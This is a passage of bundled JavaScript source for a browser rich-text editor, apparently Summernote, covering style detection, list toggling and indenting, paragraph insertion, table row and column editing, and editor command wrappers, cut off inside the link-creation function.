     * get current style on cursor
     *
     * @param {WrappedRange} rng
     * @return {Object} - object contains style properties.
     */
    Style.prototype.current = function (rng) {
        var $cont = $$1(!dom.isElement(rng.sc) ? rng.sc.parentNode : rng.sc);
        var styleInfo = this.fromNode($cont);
        // document.queryCommandState for toggle state
        // [workaround] prevent Firefox nsresult: "0x80004005 (NS_ERROR_FAILURE)"
        try {
            styleInfo = $$1.extend(styleInfo, {
                'font-bold': document.queryCommandState('bold') ? 'bold' : 'normal',
                'font-italic': document.queryCommandState('italic') ? 'italic' : 'normal',
                'font-underline': document.queryCommandState('underline') ? 'underline' : 'normal',
                'font-subscript': document.queryCommandState('subscript') ? 'subscript' : 'normal',
                'font-superscript': document.queryCommandState('superscript') ? 'superscript' : 'normal',
                'font-strikethrough': document.queryCommandState('strikethrough') ? 'strikethrough' : 'normal',
                'font-family': document.queryCommandValue('fontname') || styleInfo['font-family']
            });
        }
        catch (e) { }
        // list-style-type to list-style(unordered, ordered)
        if (!rng.isOnList()) {
            styleInfo['list-style'] = 'none';
        }
        else {
            var orderedTypes = ['circle', 'disc', 'disc-leading-zero', 'square'];
            var isUnordered = $$1.inArray(styleInfo['list-style-type'], orderedTypes) > -1;
            styleInfo['list-style'] = isUnordered ? 'unordered' : 'ordered';
        }
        var para = dom.ancestor(rng.sc, dom.isPara);
        if (para && para.style['line-height']) {
            styleInfo['line-height'] = para.style.lineHeight;
        }
        else {
            var lineHeight = parseInt(styleInfo['line-height'], 10) / parseInt(styleInfo['font-size'], 10);
            styleInfo['line-height'] = lineHeight.toFixed(1);
        }
        styleInfo.anchor = rng.isOnAnchor() && dom.ancestor(rng.sc, dom.isAnchor);
        styleInfo.ancestors = dom.listAncestor(rng.sc, dom.isEditable);
        styleInfo.range = rng;
        return styleInfo;
    };
    return Style;
}());

var Bullet = /** @class */ (function () {
    function Bullet() {
    }
    /**
     * toggle ordered list
     */
    Bullet.prototype.insertOrderedList = function (editable) {
        this.toggleList('OL', editable);
    };
    /**
     * toggle unordered list
     */
    Bullet.prototype.insertUnorderedList = function (editable) {
        this.toggleList('UL', editable);
    };
    /**
     * indent
     */
    Bullet.prototype.indent = function (editable) {
        var _this = this;
        var rng = range.create(editable).wrapBodyInlineWithPara();
        var paras = rng.nodes(dom.isPara, { includeAncestor: true });
        var clustereds = lists.clusterBy(paras, func.peq2('parentNode'));
        $$1.each(clustereds, function (idx, paras) {
            var head = lists.head(paras);
            if (dom.isLi(head)) {
                _this.wrapList(paras, head.parentNode.nodeName);
            }
            else {
                $$1.each(paras, function (idx, para) {
                    $$1(para).css('marginLeft', function (idx, val) {
                        return (parseInt(val, 10) || 0) + 25;
                    });
                });
            }
        });
        rng.select();
    };
    /**
     * outdent
     */
    Bullet.prototype.outdent = function (editable) {
        var _this = this;
        var rng = range.create(editable).wrapBodyInlineWithPara();
        var paras = rng.nodes(dom.isPara, { includeAncestor: true });
        var clustereds = lists.clusterBy(paras, func.peq2('parentNode'));
        $$1.each(clustereds, function (idx, paras) {
            var head = lists.head(paras);
            if (dom.isLi(head)) {
                _this.releaseList([paras]);
            }
            else {
                $$1.each(paras, function (idx, para) {
                    $$1(para).css('marginLeft', function (idx, val) {
                        val = (parseInt(val, 10) || 0);
                        return val > 25 ? val - 25 : '';
                    });
                });
            }
        });
        rng.select();
    };
    /**
     * toggle list
     *
     * @param {String} listName - OL or UL
     */
    Bullet.prototype.toggleList = function (listName, editable) {
        var _this = this;
        var rng = range.create(editable).wrapBodyInlineWithPara();
        var paras = rng.nodes(dom.isPara, { includeAncestor: true });
        var bookmark = rng.paraBookmark(paras);
        var clustereds = lists.clusterBy(paras, func.peq2('parentNode'));
        // paragraph to list
        if (lists.find(paras, dom.isPurePara)) {
            var wrappedParas_1 = [];
            $$1.each(clustereds, function (idx, paras) {
                wrappedParas_1 = wrappedParas_1.concat(_this.wrapList(paras, listName));
            });
            paras = wrappedParas_1;
            // list to paragraph or change list style
        }
        else {
            var diffLists = rng.nodes(dom.isList, {
                includeAncestor: true
            }).filter(function (listNode) {
                return !$$1.nodeName(listNode, listName);
            });
            if (diffLists.length) {
                $$1.each(diffLists, function (idx, listNode) {
                    dom.replace(listNode, listName);
                });
            }
            else {
                paras = this.releaseList(clustereds, true);
            }
        }
        range.createFromParaBookmark(bookmark, paras).select();
    };
    /**
     * @param {Node[]} paras
     * @param {String} listName
     * @return {Node[]}
     */
    Bullet.prototype.wrapList = function (paras, listName) {
        var head = lists.head(paras);
        var last = lists.last(paras);
        var prevList = dom.isList(head.previousSibling) && head.previousSibling;
        var nextList = dom.isList(last.nextSibling) && last.nextSibling;
        var listNode = prevList || dom.insertAfter(dom.create(listName || 'UL'), last);
        // P to LI
        paras = paras.map(function (para) {
            return dom.isPurePara(para) ? dom.replace(para, 'LI') : para;
        });
        // append to list(<ul>, <ol>)
        dom.appendChildNodes(listNode, paras);
        if (nextList) {
            dom.appendChildNodes(listNode, lists.from(nextList.childNodes));
            dom.remove(nextList);
        }
        return paras;
    };
    /**
     * @method releaseList
     *
     * @param {Array[]} clustereds
     * @param {Boolean} isEscapseToBody
     * @return {Node[]}
     */
    Bullet.prototype.releaseList = function (clustereds, isEscapseToBody) {
        var releasedParas = [];
        $$1.each(clustereds, function (idx, paras) {
            var head = lists.head(paras);
            var last = lists.last(paras);
            var headList = isEscapseToBody ? dom.lastAncestor(head, dom.isList) : head.parentNode;
            var lastList = headList.childNodes.length > 1 ? dom.splitTree(headList, {
                node: last.parentNode,
                offset: dom.position(last) + 1
            }, {
                isSkipPaddingBlankHTML: true
            }) : null;
            var middleList = dom.splitTree(headList, {
                node: head.parentNode,
                offset: dom.position(head)
            }, {
                isSkipPaddingBlankHTML: true
            });
            paras = isEscapseToBody ? dom.listDescendant(middleList, dom.isLi)
                : lists.from(middleList.childNodes).filter(dom.isLi);
            // LI to P
            if (isEscapseToBody || !dom.isList(headList.parentNode)) {
                paras = paras.map(function (para) {
                    return dom.replace(para, 'P');
                });
            }
            $$1.each(lists.from(paras).reverse(), function (idx, para) {
                dom.insertAfter(para, headList);
            });
            // remove empty lists
            var rootLists = lists.compact([headList, middleList, lastList]);
            $$1.each(rootLists, function (idx, rootList) {
                var listNodes = [rootList].concat(dom.listDescendant(rootList, dom.isList));
                $$1.each(listNodes.reverse(), function (idx, listNode) {
                    if (!dom.nodeLength(listNode)) {
                        dom.remove(listNode, true);
                    }
                });
            });
            releasedParas = releasedParas.concat(paras);
        });
        return releasedParas;
    };
    return Bullet;
}());

/**
 * @class editing.Typing
 *
 * Typing
 *
 */
var Typing = /** @class */ (function () {
    function Typing() {
        // a Bullet instance to toggle lists off
        this.bullet = new Bullet();
    }
    /**
     * insert tab
     *
     * @param {WrappedRange} rng
     * @param {Number} tabsize
     */
    Typing.prototype.insertTab = function (rng, tabsize) {
        var tab = dom.createText(new Array(tabsize + 1).join(dom.NBSP_CHAR));
        rng = rng.deleteContents();
        rng.insertNode(tab, true);
        rng = range.create(tab, tabsize);
        rng.select();
    };
    /**
     * insert paragraph
     */
    Typing.prototype.insertParagraph = function (editable) {
        var rng = range.create(editable);
        // deleteContents on range.
        rng = rng.deleteContents();
        // Wrap range if it needs to be wrapped by paragraph
        rng = rng.wrapBodyInlineWithPara();
        // finding paragraph
        var splitRoot = dom.ancestor(rng.sc, dom.isPara);
        var nextPara;
        // on paragraph: split paragraph
        if (splitRoot) {
            // if it is an empty line with li
            if (dom.isEmpty(splitRoot) && dom.isLi(splitRoot)) {
                // toogle UL/OL and escape
                this.bullet.toggleList(splitRoot.parentNode.nodeName);
                return;
                // if it is an empty line with para on blockquote
            }
            else if (dom.isEmpty(splitRoot) && dom.isPara(splitRoot) && dom.isBlockquote(splitRoot.parentNode)) {
                // escape blockquote
                dom.insertAfter(splitRoot, splitRoot.parentNode);
                nextPara = splitRoot;
                // if new line has content (not a line break)
            }
            else {
                nextPara = dom.splitTree(splitRoot, rng.getStartPoint());
                var emptyAnchors = dom.listDescendant(splitRoot, dom.isEmptyAnchor);
                emptyAnchors = emptyAnchors.concat(dom.listDescendant(nextPara, dom.isEmptyAnchor));
                $$1.each(emptyAnchors, function (idx, anchor) {
                    dom.remove(anchor);
                });
                // replace empty heading, pre or custom-made styleTag with P tag
                if ((dom.isHeading(nextPara) || dom.isPre(nextPara) || dom.isCustomStyleTag(nextPara)) && dom.isEmpty(nextPara)) {
                    nextPara = dom.replace(nextPara, 'p');
                }
            }
            // no paragraph: insert empty paragraph
        }
        else {
            var next = rng.sc.childNodes[rng.so];
            nextPara = $$1(dom.emptyPara)[0];
            if (next) {
                rng.sc.insertBefore(nextPara, next);
            }
            else {
                rng.sc.appendChild(nextPara);
            }
        }
        range.create(nextPara, 0).normalize().select().scrollIntoView(editable);
    };
    return Typing;
}());

/**
 * @class Create a virtual table to create what actions to do in change.
 * @param {object} startPoint Cell selected to apply change.
 * @param {enum} where  Where change will be applied Row or Col. Use enum: TableResultAction.where
 * @param {enum} action Action to be applied. Use enum: TableResultAction.requestAction
 * @param {object} domTable Dom element of table to make changes.
 */
var TableResultAction = function (startPoint, where, action, domTable) {
    var _startPoint = { 'colPos': 0, 'rowPos': 0 };
    var _virtualTable = [];
    var _actionCellList = [];
    /// ///////////////////////////////////////////
    // Private functions
    /// ///////////////////////////////////////////
    /**
     * Set the startPoint of action.
     */
    function setStartPoint() {
        if (!startPoint || !startPoint.tagName || (startPoint.tagName.toLowerCase() !== 'td' && startPoint.tagName.toLowerCase() !== 'th')) {
            console.error('Impossible to identify start Cell point.', startPoint);
            return;
        }
        _startPoint.colPos = startPoint.cellIndex;
        if (!startPoint.parentElement || !startPoint.parentElement.tagName || startPoint.parentElement.tagName.toLowerCase() !== 'tr') {
            console.error('Impossible to identify start Row point.', startPoint);
            return;
        }
        _startPoint.rowPos = startPoint.parentElement.rowIndex;
    }
    /**
     * Define virtual table position info object.
     *
     * @param {int} rowIndex Index position in line of virtual table.
     * @param {int} cellIndex Index position in column of virtual table.
     * @param {object} baseRow Row affected by this position.
     * @param {object} baseCell Cell affected by this position.
     * @param {bool} isSpan Inform if it is an span cell/row.
     */
    function setVirtualTablePosition(rowIndex, cellIndex, baseRow, baseCell, isRowSpan, isColSpan, isVirtualCell) {
        var objPosition = {
            'baseRow': baseRow,
            'baseCell': baseCell,
            'isRowSpan': isRowSpan,
            'isColSpan': isColSpan,
            'isVirtual': isVirtualCell
        };
        if (!_virtualTable[rowIndex]) {
            _virtualTable[rowIndex] = [];
        }
        _virtualTable[rowIndex][cellIndex] = objPosition;
    }
    /**
     * Create action cell object.
     *
     * @param {object} virtualTableCellObj Object of specific position on virtual table.
     * @param {enum} resultAction Action to be applied in that item.
     */
    function getActionCell(virtualTableCellObj, resultAction, virtualRowPosition, virtualColPosition) {
        return {
            'baseCell': virtualTableCellObj.baseCell,
            'action': resultAction,
            'virtualTable': {
                'rowIndex': virtualRowPosition,
                'cellIndex': virtualColPosition
            }
        };
    }
    /**
     * Recover free index of row to append Cell.
     *
     * @param {int} rowIndex Index of row to find free space.
     * @param {int} cellIndex Index of cell to find free space in table.
     */
    function recoverCellIndex(rowIndex, cellIndex) {
        if (!_virtualTable[rowIndex]) {
            return cellIndex;
        }
        if (!_virtualTable[rowIndex][cellIndex]) {
            return cellIndex;
        }
        var newCellIndex = cellIndex;
        while (_virtualTable[rowIndex][newCellIndex]) {
            newCellIndex++;
            if (!_virtualTable[rowIndex][newCellIndex]) {
                return newCellIndex;
            }
        }
    }
    /**
     * Recover info about row and cell and add information to virtual table.
     *
     * @param {object} row Row to recover information.
     * @param {object} cell Cell to recover information.
     */
    function addCellInfoToVirtual(row, cell) {
        var cellIndex = recoverCellIndex(row.rowIndex, cell.cellIndex);
        var cellHasColspan = (cell.colSpan > 1);
        var cellHasRowspan = (cell.rowSpan > 1);
        var isThisSelectedCell = (row.rowIndex === _startPoint.rowPos && cell.cellIndex === _startPoint.colPos);
        setVirtualTablePosition(row.rowIndex, cellIndex, row, cell, cellHasRowspan, cellHasColspan, false);
        // Add span rows to virtual Table.
        var rowspanNumber = cell.attributes.rowSpan ? parseInt(cell.attributes.rowSpan.value, 10) : 0;
        if (rowspanNumber > 1) {
            for (var rp = 1; rp < rowspanNumber; rp++) {
                var rowspanIndex = row.rowIndex + rp;
                adjustStartPoint(rowspanIndex, cellIndex, cell, isThisSelectedCell);
                setVirtualTablePosition(rowspanIndex, cellIndex, row, cell, true, cellHasColspan, true);
            }
        }
        // Add span cols to virtual table.
        var colspanNumber = cell.attributes.colSpan ? parseInt(cell.attributes.colSpan.value, 10) : 0;
        if (colspanNumber > 1) {
            for (var cp = 1; cp < colspanNumber; cp++) {
                var cellspanIndex = recoverCellIndex(row.rowIndex, (cellIndex + cp));
                adjustStartPoint(row.rowIndex, cellspanIndex, cell, isThisSelectedCell);
                setVirtualTablePosition(row.rowIndex, cellspanIndex, row, cell, cellHasRowspan, true, true);
            }
        }
    }
    /**
     * Process validation and adjust of start point if needed
     *
     * @param {int} rowIndex
     * @param {int} cellIndex
     * @param {object} cell
     * @param {bool} isSelectedCell
     */
    function adjustStartPoint(rowIndex, cellIndex, cell, isSelectedCell) {
        if (rowIndex === _startPoint.rowPos && _startPoint.colPos >= cell.cellIndex && cell.cellIndex <= cellIndex && !isSelectedCell) {
            _startPoint.colPos++;
        }
    }
    /**
     * Create virtual table of cells with all cells, including span cells.
     */
    function createVirtualTable() {
        var rows = domTable.rows;
        for (var rowIndex = 0; rowIndex < rows.length; rowIndex++) {
            var cells = rows[rowIndex].cells;
            for (var cellIndex = 0; cellIndex < cells.length; cellIndex++) {
                addCellInfoToVirtual(rows[rowIndex], cells[cellIndex]);
            }
        }
    }
    /**
     * Get action to be applied on the cell.
     *
     * @param {object} cell virtual table cell to apply action
     */
    function getDeleteResultActionToCell(cell) {
        switch (where) {
            case TableResultAction.where.Column:
                if (cell.isColSpan) {
                    return TableResultAction.resultAction.SubtractSpanCount;
                }
                break;
            case TableResultAction.where.Row:
                if (!cell.isVirtual && cell.isRowSpan) {
                    return TableResultAction.resultAction.AddCell;
                }
                else if (cell.isRowSpan) {
                    return TableResultAction.resultAction.SubtractSpanCount;
                }
                break;
        }
        return TableResultAction.resultAction.RemoveCell;
    }
    /**
     * Get action to be applied on the cell.
     *
     * @param {object} cell virtual table cell to apply action
     */
    function getAddResultActionToCell(cell) {
        switch (where) {
            case TableResultAction.where.Column:
                if (cell.isColSpan) {
                    return TableResultAction.resultAction.SumSpanCount;
                }
                else if (cell.isRowSpan && cell.isVirtual) {
                    return TableResultAction.resultAction.Ignore;
                }
                break;
            case TableResultAction.where.Row:
                if (cell.isRowSpan) {
                    return TableResultAction.resultAction.SumSpanCount;
                }
                else if (cell.isColSpan && cell.isVirtual) {
                    return TableResultAction.resultAction.Ignore;
                }
                break;
        }
        return TableResultAction.resultAction.AddCell;
    }
    function init() {
        setStartPoint();
        createVirtualTable();
    }
    /// ///////////////////////////////////////////
    // Public functions
    /// ///////////////////////////////////////////
    /**
     * Recover array os what to do in table.
     */
    this.getActionList = function () {
        var fixedRow = (where === TableResultAction.where.Row) ? _startPoint.rowPos : -1;
        var fixedCol = (where === TableResultAction.where.Column) ? _startPoint.colPos : -1;
        var actualPosition = 0;
        var canContinue = true;
        while (canContinue) {
            var rowPosition = (fixedRow >= 0) ? fixedRow : actualPosition;
            var colPosition = (fixedCol >= 0) ? fixedCol : actualPosition;
            var row = _virtualTable[rowPosition];
            if (!row) {
                canContinue = false;
                return _actionCellList;
            }
            var cell = row[colPosition];
            if (!cell) {
                canContinue = false;
                return _actionCellList;
            }
            // Define action to be applied in this cell
            var resultAction = TableResultAction.resultAction.Ignore;
            switch (action) {
                case TableResultAction.requestAction.Add:
                    resultAction = getAddResultActionToCell(cell);
                    break;
                case TableResultAction.requestAction.Delete:
                    resultAction = getDeleteResultActionToCell(cell);
                    break;
            }
            _actionCellList.push(getActionCell(cell, resultAction, rowPosition, colPosition));
            actualPosition++;
        }
        return _actionCellList;
    };
    init();
};
/**
*
* Where action occours enum.
*/
TableResultAction.where = { 'Row': 0, 'Column': 1 };
/**
*
* Requested action to apply enum.
*/
TableResultAction.requestAction = { 'Add': 0, 'Delete': 1 };
/**
*
* Result action to be executed enum.
*/
TableResultAction.resultAction = { 'Ignore': 0, 'SubtractSpanCount': 1, 'RemoveCell': 2, 'AddCell': 3, 'SumSpanCount': 4 };
/**
 *
 * @class editing.Table
 *
 * Table
 *
 */
var Table = /** @class */ (function () {
    function Table() {
    }
    /**
     * handle tab key
     *
     * @param {WrappedRange} rng
     * @param {Boolean} isShift
     */
    Table.prototype.tab = function (rng, isShift) {
        var cell = dom.ancestor(rng.commonAncestor(), dom.isCell);
        var table = dom.ancestor(cell, dom.isTable);
        var cells = dom.listDescendant(table, dom.isCell);
        var nextCell = lists[isShift ? 'prev' : 'next'](cells, cell);
        if (nextCell) {
            range.create(nextCell, 0).select();
        }
    };
    /**
     * Add a new row
     *
     * @param {WrappedRange} rng
     * @param {String} position (top/bottom)
     * @return {Node}
     */
    Table.prototype.addRow = function (rng, position) {
        var cell = dom.ancestor(rng.commonAncestor(), dom.isCell);
        var currentTr = $$1(cell).closest('tr');
        var trAttributes = this.recoverAttributes(currentTr);
        var html = $$1('<tr' + trAttributes + '></tr>');
        var vTable = new TableResultAction(cell, TableResultAction.where.Row, TableResultAction.requestAction.Add, $$1(currentTr).closest('table')[0]);
        var actions = vTable.getActionList();
        for (var idCell = 0; idCell < actions.length; idCell++) {
            var currentCell = actions[idCell];
            var tdAttributes = this.recoverAttributes(currentCell.baseCell);
            switch (currentCell.action) {
                case TableResultAction.resultAction.AddCell:
                    html.append('<td' + tdAttributes + '>' + dom.blank + '</td>');
                    break;
                case TableResultAction.resultAction.SumSpanCount:
                    if (position === 'top') {
                        var baseCellTr = currentCell.baseCell.parent;
                        var isTopFromRowSpan = (!baseCellTr ? 0 : currentCell.baseCell.closest('tr').rowIndex) <= currentTr[0].rowIndex;
                        if (isTopFromRowSpan) {
                            var newTd = $$1('<div></div>').append($$1('<td' + tdAttributes + '>' + dom.blank + '</td>').removeAttr('rowspan')).html();
                            html.append(newTd);
                            break;
                        }
                    }
                    var rowspanNumber = parseInt(currentCell.baseCell.rowSpan, 10);
                    rowspanNumber++;
                    currentCell.baseCell.setAttribute('rowSpan', rowspanNumber);
                    break;
            }
        }
        if (position === 'top') {
            currentTr.before(html);
        }
        else {
            var cellHasRowspan = (cell.rowSpan > 1);
            if (cellHasRowspan) {
                var lastTrIndex = currentTr[0].rowIndex + (cell.rowSpan - 2);
                $$1($$1(currentTr).parent().find('tr')[lastTrIndex]).after($$1(html));
                return;
            }
            currentTr.after(html);
        }
    };
    /**
     * Add a new col
     *
     * @param {WrappedRange} rng
     * @param {String} position (left/right)
     * @return {Node}
     */
    Table.prototype.addCol = function (rng, position) {
        var cell = dom.ancestor(rng.commonAncestor(), dom.isCell);
        var row = $$1(cell).closest('tr');
        var rowsGroup = $$1(row).siblings();
        rowsGroup.push(row);
        var vTable = new TableResultAction(cell, TableResultAction.where.Column, TableResultAction.requestAction.Add, $$1(row).closest('table')[0]);
        var actions = vTable.getActionList();
        for (var actionIndex = 0; actionIndex < actions.length; actionIndex++) {
            var currentCell = actions[actionIndex];
            var tdAttributes = this.recoverAttributes(currentCell.baseCell);
            switch (currentCell.action) {
                case TableResultAction.resultAction.AddCell:
                    if (position === 'right') {
                        $$1(currentCell.baseCell).after('<td' + tdAttributes + '>' + dom.blank + '</td>');
                    }
                    else {
                        $$1(currentCell.baseCell).before('<td' + tdAttributes + '>' + dom.blank + '</td>');
                    }
                    break;
                case TableResultAction.resultAction.SumSpanCount:
                    if (position === 'right') {
                        var colspanNumber = parseInt(currentCell.baseCell.colSpan, 10);
                        colspanNumber++;
                        currentCell.baseCell.setAttribute('colSpan', colspanNumber);
                    }
                    else {
                        $$1(currentCell.baseCell).before('<td' + tdAttributes + '>' + dom.blank + '</td>');
                    }
                    break;
            }
        }
    };
    /*
    * Copy attributes from element.
    *
    * @param {object} Element to recover attributes.
    * @return {string} Copied string elements.
    */
    Table.prototype.recoverAttributes = function (el) {
        var resultStr = '';
        if (!el) {
            return resultStr;
        }
        var attrList = el.attributes || [];
        for (var i = 0; i < attrList.length; i++) {
            if (attrList[i].name.toLowerCase() === 'id') {
                continue;
            }
            if (attrList[i].specified) {
                resultStr += ' ' + attrList[i].name + '=\'' + attrList[i].value + '\'';
            }
        }
        return resultStr;
    };
    /**
     * Delete current row
     *
     * @param {WrappedRange} rng
     * @return {Node}
     */
    Table.prototype.deleteRow = function (rng) {
        var cell = dom.ancestor(rng.commonAncestor(), dom.isCell);
        var row = $$1(cell).closest('tr');
        var cellPos = row.children('td, th').index($$1(cell));
        var rowPos = row[0].rowIndex;
        var vTable = new TableResultAction(cell, TableResultAction.where.Row, TableResultAction.requestAction.Delete, $$1(row).closest('table')[0]);
        var actions = vTable.getActionList();
        for (var actionIndex = 0; actionIndex < actions.length; actionIndex++) {
            if (!actions[actionIndex]) {
                continue;
            }
            var baseCell = actions[actionIndex].baseCell;
            var virtualPosition = actions[actionIndex].virtualTable;
            var hasRowspan = (baseCell.rowSpan && baseCell.rowSpan > 1);
            var rowspanNumber = (hasRowspan) ? parseInt(baseCell.rowSpan, 10) : 0;
            switch (actions[actionIndex].action) {
                case TableResultAction.resultAction.Ignore:
                    continue;
                case TableResultAction.resultAction.AddCell:
                    var nextRow = row.next('tr')[0];
                    if (!nextRow) {
                        continue;
                    }
                    var cloneRow = row[0].cells[cellPos];
                    if (hasRowspan) {
                        if (rowspanNumber > 2) {
                            rowspanNumber--;
                            nextRow.insertBefore(cloneRow, nextRow.cells[cellPos]);
                            nextRow.cells[cellPos].setAttribute('rowSpan', rowspanNumber);
                            nextRow.cells[cellPos].innerHTML = '';
                        }
                        else if (rowspanNumber === 2) {
                            nextRow.insertBefore(cloneRow, nextRow.cells[cellPos]);
                            nextRow.cells[cellPos].removeAttribute('rowSpan');
                            nextRow.cells[cellPos].innerHTML = '';
                        }
                    }
                    continue;
                case TableResultAction.resultAction.SubtractSpanCount:
                    if (hasRowspan) {
                        if (rowspanNumber > 2) {
                            rowspanNumber--;
                            baseCell.setAttribute('rowSpan', rowspanNumber);
                            if (virtualPosition.rowIndex !== rowPos && baseCell.cellIndex === cellPos) {
                                baseCell.innerHTML = '';
                            }
                        }
                        else if (rowspanNumber === 2) {
                            baseCell.removeAttribute('rowSpan');
                            if (virtualPosition.rowIndex !== rowPos && baseCell.cellIndex === cellPos) {
                                baseCell.innerHTML = '';
                            }
                        }
                    }
                    continue;
                case TableResultAction.resultAction.RemoveCell:
                    // Do not need remove cell because row will be deleted.
                    continue;
            }
        }
        row.remove();
    };
    /**
     * Delete current col
     *
     * @param {WrappedRange} rng
     * @return {Node}
     */
    Table.prototype.deleteCol = function (rng) {
        var cell = dom.ancestor(rng.commonAncestor(), dom.isCell);
        var row = $$1(cell).closest('tr');
        var cellPos = row.children('td, th').index($$1(cell));
        var vTable = new TableResultAction(cell, TableResultAction.where.Column, TableResultAction.requestAction.Delete, $$1(row).closest('table')[0]);
        var actions = vTable.getActionList();
        for (var actionIndex = 0; actionIndex < actions.length; actionIndex++) {
            if (!actions[actionIndex]) {
                continue;
            }
            switch (actions[actionIndex].action) {
                case TableResultAction.resultAction.Ignore:
                    continue;
                case TableResultAction.resultAction.SubtractSpanCount:
                    var baseCell = actions[actionIndex].baseCell;
                    var hasColspan = (baseCell.colSpan && baseCell.colSpan > 1);
                    if (hasColspan) {
                        var colspanNumber = (baseCell.colSpan) ? parseInt(baseCell.colSpan, 10) : 0;
                        if (colspanNumber > 2) {
                            colspanNumber--;
                            baseCell.setAttribute('colSpan', colspanNumber);
                            if (baseCell.cellIndex === cellPos) {
                                baseCell.innerHTML = '';
                            }
                        }
                        else if (colspanNumber === 2) {
                            baseCell.removeAttribute('colSpan');
                            if (baseCell.cellIndex === cellPos) {
                                baseCell.innerHTML = '';
                            }
                        }
                    }
                    continue;
                case TableResultAction.resultAction.RemoveCell:
                    dom.remove(actions[actionIndex].baseCell, true);
                    continue;
            }
        }
    };
    /**
     * create empty table element
     *
     * @param {Number} rowCount
     * @param {Number} colCount
     * @return {Node}
     */
    Table.prototype.createTable = function (colCount, rowCount, options) {
        var tds = [];
        var tdHTML;
        for (var idxCol = 0; idxCol < colCount; idxCol++) {
            tds.push('<td>' + dom.blank + '</td>');
        }
        tdHTML = tds.join('');
        var trs = [];
        var trHTML;
        for (var idxRow = 0; idxRow < rowCount; idxRow++) {
            trs.push('<tr>' + tdHTML + '</tr>');
        }
        trHTML = trs.join('');
        var $table = $$1('<table>' + trHTML + '</table>');
        if (options && options.tableClassName) {
            $table.addClass(options.tableClassName);
        }
        return $table[0];
    };
    /**
     * Delete current table
     *
     * @param {WrappedRange} rng
     * @return {Node}
     */
    Table.prototype.deleteTable = function (rng) {
        var cell = dom.ancestor(rng.commonAncestor(), dom.isCell);
        $$1(cell).closest('table').remove();
    };
    return Table;
}());

var KEY_BOGUS = 'bogus';
/**
 * @class Editor
 */
var Editor = /** @class */ (function () {
    function Editor(context) {
        var _this = this;
        this.context = context;
        this.$note = context.layoutInfo.note;
        this.$editor = context.layoutInfo.editor;
        this.$editable = context.layoutInfo.editable;
        this.options = context.options;
        this.lang = this.options.langInfo;
        this.editable = this.$editable[0];
        this.lastRange = null;
        this.style = new Style();
        this.table = new Table();
        this.typing = new Typing();
        this.bullet = new Bullet();
        this.history = new History(this.$editable);
        this.context.memo('help.undo', this.lang.help.undo);
        this.context.memo('help.redo', this.lang.help.redo);
        this.context.memo('help.tab', this.lang.help.tab);
        this.context.memo('help.untab', this.lang.help.untab);
        this.context.memo('help.insertParagraph', this.lang.help.insertParagraph);
        this.context.memo('help.insertOrderedList', this.lang.help.insertOrderedList);
        this.context.memo('help.insertUnorderedList', this.lang.help.insertUnorderedList);
        this.context.memo('help.indent', this.lang.help.indent);
        this.context.memo('help.outdent', this.lang.help.outdent);
        this.context.memo('help.formatPara', this.lang.help.formatPara);
        this.context.memo('help.insertHorizontalRule', this.lang.help.insertHorizontalRule);
        this.context.memo('help.fontName', this.lang.help.fontName);
        // native commands(with execCommand), generate function for execCommand
        var commands = [
            'bold', 'italic', 'underline', 'strikethrough', 'superscript', 'subscript',
            'justifyLeft', 'justifyCenter', 'justifyRight', 'justifyFull',
            'formatBlock', 'removeFormat', 'backColor'
        ];
        for (var idx = 0, len = commands.length; idx < len; idx++) {
            this[commands[idx]] = (function (sCmd) {
                return function (value) {
                    _this.beforeCommand();
                    document.execCommand(sCmd, false, value);
                    _this.afterCommand(true);
                };
            })(commands[idx]);
            this.context.memo('help.' + commands[idx], this.lang.help[commands[idx]]);
        }
        this.fontName = this.wrapCommand(function (value) {
            return _this.fontStyling('font-family', "\'" + value + "\'");
        });
        this.fontSize = this.wrapCommand(function (value) {
            return _this.fontStyling('font-size', value + 'px');
        });
        for (var idx = 1; idx <= 6; idx++) {
            this['formatH' + idx] = (function (idx) {
                return function () {
                    _this.formatBlock('H' + idx);
                };
            })(idx);
            this.context.memo('help.formatH' + idx, this.lang.help['formatH' + idx]);
        }
        
        this.insertParagraph = this.wrapCommand(function () {
            _this.typing.insertParagraph(_this.editable);
        });
        this.insertOrderedList = this.wrapCommand(function () {
            _this.bullet.insertOrderedList(_this.editable);
        });
        this.insertUnorderedList = this.wrapCommand(function () {
            _this.bullet.insertUnorderedList(_this.editable);
        });
        this.indent = this.wrapCommand(function () {
            _this.bullet.indent(_this.editable);
        });
        this.outdent = this.wrapCommand(function () {
            _this.bullet.outdent(_this.editable);
        });
        /**
         * insertNode
         * insert node
         * @param {Node} node
         */
        this.insertNode = this.wrapCommand(function (node) {
            if (_this.isLimited($$1(node).text().length)) {
                return;
            }
            var rng = _this.createRange();
            rng.insertNode(node);
            range.createFromNodeAfter(node).select();
        });
        /**
         * insert text
         * @param {String} text
         */
        this.insertText = this.wrapCommand(function (text) {
            if (_this.isLimited(text.length)) {
                return;
            }
            var rng = _this.createRange();
            var textNode = rng.insertNode(dom.createText(text));
            range.create(textNode, dom.nodeLength(textNode)).select();
        });
        /**
         * paste HTML
         * @param {String} markup
         */
        this.pasteHTML = this.wrapCommand(function (markup) {
            if (_this.isLimited(markup.length)) {
                return;
            }
            var contents = _this.createRange().pasteHTML(markup);
            range.createFromNodeAfter(lists.last(contents)).select();
        });
        /**
         * formatBlock
         *
         * @param {String} tagName
         */
        this.formatBlock = this.wrapCommand(function (tagName, $target) {
            var onApplyCustomStyle = _this.options.callbacks.onApplyCustomStyle;
            if (onApplyCustomStyle) {
                onApplyCustomStyle.call(_this, $target, _this.context, _this.onFormatBlock);
            }
            else {
                _this.onFormatBlock(tagName, $target);
            }
        });
        /**
         * insert horizontal rule
         */
        this.insertHorizontalRule = this.wrapCommand(function () {
            var hrNode = _this.createRange().insertNode(dom.create('HR'));
            if (hrNode.nextSibling) {
                range.create(hrNode.nextSibling, 0).normalize().select();
            }
        });
        /**
         * lineHeight
         * @param {String} value
         */
        this.lineHeight = this.wrapCommand(function (value) {
            _this.style.stylePara(_this.createRange(), {
                lineHeight: value
            });
        });
        /**
         * create link (command)
         *
         * @param {Object} linkInfo
         */
        this.createLink = this.wrapCommand(function (linkInfo) {
            var linkUrl = linkInfo.url;
            var linkText = linkInfo.text;
            var isNewWindow = linkInfo.isNewWindow;
            var rng = linkInfo.range || _this.createRange();
            var isTextChanged = rng.toString() !== linkText;
            // handle spaced urls from input
            if (typeof linkUrl === 'string') {
                linkUrl = linkUrl.trim();
            }
            if (_this.options.onCreateLink) {
                linkUrl = _this.options.onCreateLink(linkUrl);
            }
            else {
                // if url doesn't match an URL schema, set http:// as default
